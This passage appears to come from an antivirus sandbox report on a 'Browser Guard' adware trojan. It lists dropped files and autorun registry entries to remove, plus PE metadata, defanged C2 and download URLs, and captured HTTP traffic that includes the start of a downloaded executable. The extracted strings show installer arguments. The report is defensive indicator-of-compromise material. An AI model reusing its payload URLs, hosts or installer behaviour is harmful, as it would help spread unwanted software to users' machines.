    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\registry.js (707 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\installer.js (898 bytes)
    %Program Files%\Bench\FService\1.1\fservice.exe (2865 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\framework_api.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns13.tmp (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\extension_info.json (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\background.html (157 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\chrome_windows.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\backgroundscript_engine.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\message_target.js (870 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\SoftwareDetector.exe (5016 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\systemreport.js (537 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\bootstrap.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\sqlite3.exe (18662 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsProcess.dll (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\md5.js (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\browser.js (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\core.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsExecCv.dll (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\main_installer.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\pz_info (26 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\context_menu.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\timer.js (1 bytes)
    %Program Files%\Bench\BService\1.1\bhelper.dll (2719 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsF.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_webrequest.js (129 bytes)
    %Program Files%\Bench\FService\1.1\fhelper.dll (5261 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\migrate.js (5 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\includes\content_messaging.js (730 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\icon.ico (32 bytes)
    %Program Files%\Bench\NmHost\manifest.json (117 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\includes\content_loader.js (906 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\chrome_workaround.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\xhr.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\canvas.js (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\includes\content.js (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nswE.tmp (593 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\repair.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon32.png (873 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_common.js (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\notifications.js (797 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\io.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\browser_button.js (9 bytes)
    %Program Files%\Bench\NmHost\nmhost.exe (4497 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon48.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsExec.dll (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsA.tmp (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\userscript_engine.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\utils.js (5 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\projectInstaller.js (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\canvas.js (15 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon128.png (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon100.png (2 bytes)
    %Program Files%\Bench\Wd\wd.exe (2432 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\jquery.min.js (4587 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\uninstall.js (76 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\invoke.js (406 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\info.xml (350 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns15.tmp (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\lang.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsDownloadCv.dll (3483 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\options.js (1 bytes)
    %Program Files%\Bench\Updater\1.7.0.0\updater.exe (10379 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_browseraction.js (822 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "BService" = "%Program Files%\Bench\BService\1.1\bservice.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "FService" = "%Program Files%\Bench\FService\1.1\fservice.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
    "Browser Guard-repairJob" = "wscript.exe %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\repair.js Browser Guard-repairJob"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "WD" = "%Program Files%\Bench\Wd\wd.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version: 1.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description:
Comments:
Language: Language Neutral

Company Name: Product Name: Product Version: 1.0.0.0Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: Comments: Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409656339568324.490924cfff315437f323ced7574e4400f03da
.rdata6144016448168963.419314748d868fcc40a7efefa17a04818e6bf
.data819201296851201.932950ecf3dfe22d79222750897c3d1fb05bc
.rsrc9830427500276484.0694b723a4a8c4a615a99b3b8373cddbe32b
.reloc126976644066563.0491690023b64b1c6f65f83f86a13a011b8ca

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:


Total found: 6
e0a7ae5fa1f2e738d50997712be2514d
c23c3798bab05880f4a15d9d0ca69f25
f16b475bdc06910e464254d1884065af
f95e3a6ba0f5630d63155c64a9fa5cf4
c8171b1cfa4b2d762e80c369b2087055
f013a64aeaaff0ee305985f44725f726

Network Activity

URLs

URL IP
hxxp://a1073.d.akamai.net/get/.eJw1jEkOgCAQBP_S5zmIigufISTgEglMgJPGv4smXruq-oJh1ruF6qZ5GgnF5AMKe8jFeO8SCPzithED4YzBffYwy7Zr6Pf04s2aoUQvJKFOq6snnKKtfdoquB_E8iAl._gR9csvpP2iXZNjkrAshjpG6f_w
hxxp://d2rx3wo6u6259k.cloudfront.net/installer-run/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016&version=20150820
hxxp://d2rx3wo6u6259k.cloudfront.net/other-9main_start/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016
hxxp://d2rx3wo6u6259k.cloudfront.net/other-9extract_code/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016
hxxp://d2rx3wo6u6259k.cloudfront.net/other-9extract_repair/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016
hxxp://d2rx3wo6u6259k.cloudfront.net/other-9init_ie/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016
hxxp://d2rx3wo6u6259k.cloudfront.net/other-9migrate_ext/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016
hxxp://d2rx3wo6u6259k.cloudfront.net/other-9reg/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016
hxxp://www.installping5.info/other-9migrate_ext/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=201652.85.173.57
hxxp://www.installping5.info/other-9reg/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=201652.85.173.57
hxxp://www.installping5.info/other-9init_ie/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=201652.85.173.57
hxxp://www.installping5.info/installer-run/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016&version=2015082052.85.173.57
hxxp://www.update-srv3.info/get/.eJw1jEkOgCAQBP_S5zmIigufISTgEglMgJPGv4smXruq-oJh1ruF6qZ5GgnF5AMKe8jFeO8SCPzithED4YzBffYwy7Zr6Pf04s2aoUQvJKFOq6snnKKtfdoquB_E8iAl._gR9csvpP2iXZNjkrAshjpG6f_w212.30.134.161
hxxp://www.installping5.info/other-9extract_repair/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=201652.85.173.57
hxxp://www.installping5.info/other-9main_start/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=201652.85.173.57
hxxp://www.installping5.info/other-9extract_code/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=201652.85.173.57

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /other-9init_ie/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:57 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:57 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 f735992a47971208bce91329a45dbeca.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5_vyDTfkUICa05OsEQWNhSur09q6RIBrH98Wy3gbKtoRPF8qgWX5mQ==

GET /other-9extract_repair/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:27 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:04 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 62ac9e5fd8ad07f5f2bb5671226b1cbb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oT87rmVKy9U7lbO_w3jHJ7xWU2B7Sj1b0qzECEFV2wP3UazALj_ieA==

GET /other-9main_start/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:27 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:27 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 4a579376ca6f44d61f50bb8065a6cbae.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kM0zqQPycyyCQIfDhKFCr5597ISaV8e0W_lEEbnvGM0ltXa5XgIcKg==

GET /get/.eJw1jEkOgCAQBP_S5zmIigufISTgEglMgJPGv4smXruq-oJh1ruF6qZ5GgnF5AMKe8jFeO8SCPzithED4YzBffYwy7Zr6Pf04s2aoUQvJKFOq6snnKKtfdoquB_E8iAl._gR9csvpP2iXZNjkrAshjpG6f_w HTTP/1.1

X-Builder-DL: 1

Host: VVV.update-srv3.info

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Disposition: attachment; filename="Browser Guard.exe"

Content-Type: application/octet-stream

Server: nginx/1.4.6 (Ubuntu)

Content-Length: 3123000

Date: Wed, 27 Apr 2016 04:41:00 GMT

Connection: keep-alive

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................K.......[...............b.......R.......U.....Rich............................PE..L.....KU.................b...........3............@.................................q./...@................................. ...........8............./......0..8....................................................................................text....a.......b.................. ..`.rdata...............f..............@..@.data....\..........................@....ndata...................................rsrc...8...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H......C..H.P.u..u..u...p.@..K...SV.5..C.W.E.P.u...t.@..e...E..E.P.u...x.@..}..e....@.@........FR..VV..U... M..........M........E...FQ.....NU..M.......M...VT..U........FP..E...............E.P.M...<.@..E..P.E..E.P.u...|.@..u....E..9}...n....~X.te.v4..P.@..E...tU.}.j.W.E......E.......T.@..vXW..X.@..u..5L.@.W..h ....E..E.Pj.h..C.W....@..u.W...u....E.P.u.....@._^3.[.....L$....C...i......T.....tUVW.q.3.;5..C.sD..i......D..S.....t.G.....t...O..t .....u...3....3...F.....;5..C.r.[_^...U..QQ

<<< skipped >>>

GET /other-9migrate_ext/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:58 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:35 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 0991a4b934302d120a32dada6513dc35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Ao9Cq9t9flwT0_-09AgEKHev3KHsEmrXlOpPNJGJG_oHIPwQ2vQ_Rw==

GET /other-9reg/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:59 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:35 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 02559733574bc91699d28e7c3b1df3ea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YPuhyIYAhlAxroHLSx3ufq9n7XQEn_1TdAQo2u8ZOCEh6t5gle6oKQ==

GET /other-9extract_code/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:27 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:03 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 d0c574ed517101bf0c21ed5df9b18342.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nh0AswawelVe4O8qHh1qQecHj5Er8If0CjvpmEXI65pPf69orvg13Q==

GET /installer-run/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016&version=20150820 HTTP/1.0

Host: VVV.installping5.info

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 26

Connection: close

Server: nginx/1.8.0

Date: Wed, 27 Apr 2016 04:41:26 GMT

X-Powered-By: PHP/5.3.3

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Last-Modified: Wed, 27 Apr 2016 04:41:02 GMT

Cache-Control: no-store, no-cache, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 f17892129c0657c8d9d0809a1b0b00be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gSRnBWTAFxJo5l5OYBG5iDkSZ7rNpRjIUovvX7h7HQMaHHOtgnGU4Q==

2016:695230:apr 27, 2016:1..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

ins1.tmp.exe_908:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

@.reloc

@.reloc

uDSSh

uDSSh

verifying installer: %d%%

verifying installer: %d%%

... %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

RegDeleteKeyExA

RegDeleteKeyExA

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

*?|/":

*?|/":

%s=%s

%s=%s

{"winver": "%s", "winver_string": "%s"}

{"winver": "%s", "winver_string": "%s"}

%s %s build %s

%s %s build %s

SOFTWARE\Microsoft\Windows NT\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion

{"project_name": "%s", "exe": "%s", "parent_exe": "%s"}

{"project_name": "%s", "exe": "%s", "parent_exe": "%s"}

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegDeleteKeyA

RegDeleteKeyA

RegCloseKey

RegCloseKey

RegEnumKeyA

RegEnumKeyA

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

WinHttpSendRequest

WinHttpSendRequest

WinHttpOpenRequest

WinHttpOpenRequest

WinHttpCloseHandle

WinHttpCloseHandle

WinHttpConnect

WinHttpConnect

WinHttpOpen

WinHttpOpen

WinHttpCrackUrl

WinHttpCrackUrl

WINHTTP.dll

WINHTTP.dll

SHLWAPI.dll

SHLWAPI.dll

\LOCALS~1\Temp\nse3.tmp\nsDownloadCv.dll

\LOCALS~1\Temp\nse3.tmp\nsDownloadCv.dll

Data\Browser Guard\clear_cache.js

Data\Browser Guard\clear_cache.js

Temp\nswE.tmp"

Temp\nswE.tmp"

st-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie

st-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse3.tmp\nsDownloadCv.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse3.tmp\nsDownloadCv.dll

install.exe

install.exe

wiaXNfaG91c2UiOnRydWV9.sAl6930D34m0hRdJedPTOdvIjx4"

wiaXNfaG91c2UiOnRydWV9.sAl6930D34m0hRdJedPTOdvIjx4"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse3.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nse3.tmp

a\Browser Guard\uninstall.exe

a\Browser Guard\uninstall.exe

pair.js" "Browser Guard-repairJob"

pair.js" "Browser Guard-repairJob"

repair.js

repair.js

.-b}q

.-b}q

.gLhS)b

.gLhS)b

A.BStt

A.BStt

V.QL%

V.QL%

X.yQx~

X.yQx~

1,2024282

1,2024282

01f1

01f1

operator

operator

GetProcessWindowStation

GetProcessWindowStation

RegOpenKeyTransactedW

RegOpenKeyTransactedW

settings_cleaner.pdb

settings_cleaner.pdb

WININET.dll

WININET.dll

RegOpenKeyExW

RegOpenKeyExW

ShellExecuteW

ShellExecuteW

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

chrome

chrome

%Program Files%\Bench\FService\*.*

%Program Files%\Bench\FService\*.*

Settings\Application Data\Browser Guard\chrome\*.*

Settings\Application Data\Browser Guard\chrome\*.*

00ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016

00ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016

Guard" /installation-time="1461742877" /pid="2016" /zone="695230" /czoneid="12199" /nmhost-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie /error-reports-url="hXXp://canvas@crash-report-frontend-78480448.us-east-1.elb.amazonaws.com/submit_crash_dump"

Guard" /installation-time="1461742877" /pid="2016" /zone="695230" /czoneid="12199" /nmhost-dir="%Program Files%\Bench\NmHost" /app-id="38987" /updateip="54.235.90.58" /version="1.0" /straoi="apr 27, 2016" /enable-extensions /chrome-id="alnbbbmmheedjelgjiljibhlicildiae" /chrome-update-url="hXXp://alnbbbmmheedjelgjiljibhlicildiae/check/.eJwNyUEKgCAQRuG7zFqitl4mRv3JsVFBLYLo7rl833tpcD_Jko-tZpChG61LLZO2ZZ0tpQ9WRSM72gVDeMYuYX7W4pzLOQIhQY8kmsRFFS8ahEHfD9rZIQE.aIQ_jlFApDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie /error-reports-url="hXXp://canvas@crash-report-frontend-78480448.us-east-1.elb.amazonaws.com/submit_crash_dump"

pDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie /error-reports-url="hXXp://canvas@crash-report-frontend-78480448.us-east-1.elb.amazonaws.com/submit_crash_dump"

pDcTwxrKZSCCiTsb5mY" /close-chrome /close-firefox /close-ie /error-reports-url="hXXp://canvas@crash-report-frontend-78480448.us-east-1.elb.amazonaws.com/submit_crash_dump"

//VVV.installping5.info/installer-run/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016&version=20150820

//VVV.installping5.info/installer-run/4433e0bcf600ea79ca332930e87765a0/5cc36c09d3851c4f9c6368cf0331e90b/xriderexe/695230/?pid=38987&sub_id=default&uzid=695230&subid=&pid=2016&version=20150820

XNrIjoidXBkYXRlciIsInZlcnNpb24iOiIxLjcuMC4wIiwiaXNfaG91c2UiOnRydWV9.sAl6930D34m0hRdJedPTOdvIjx4"

XNrIjoidXBkYXRlciIsInZlcnNpb24iOiIxLjcuMC4wIiwiaXNfaG91c2UiOnRydWV9.sAl6930D34m0hRdJedPTOdvIjx4"

DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ins1.tmp.exe"

DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ins1.tmp.exe"

27, 2016

27, 2016

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst1B.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nst1B.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nswE.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nswE.tmp

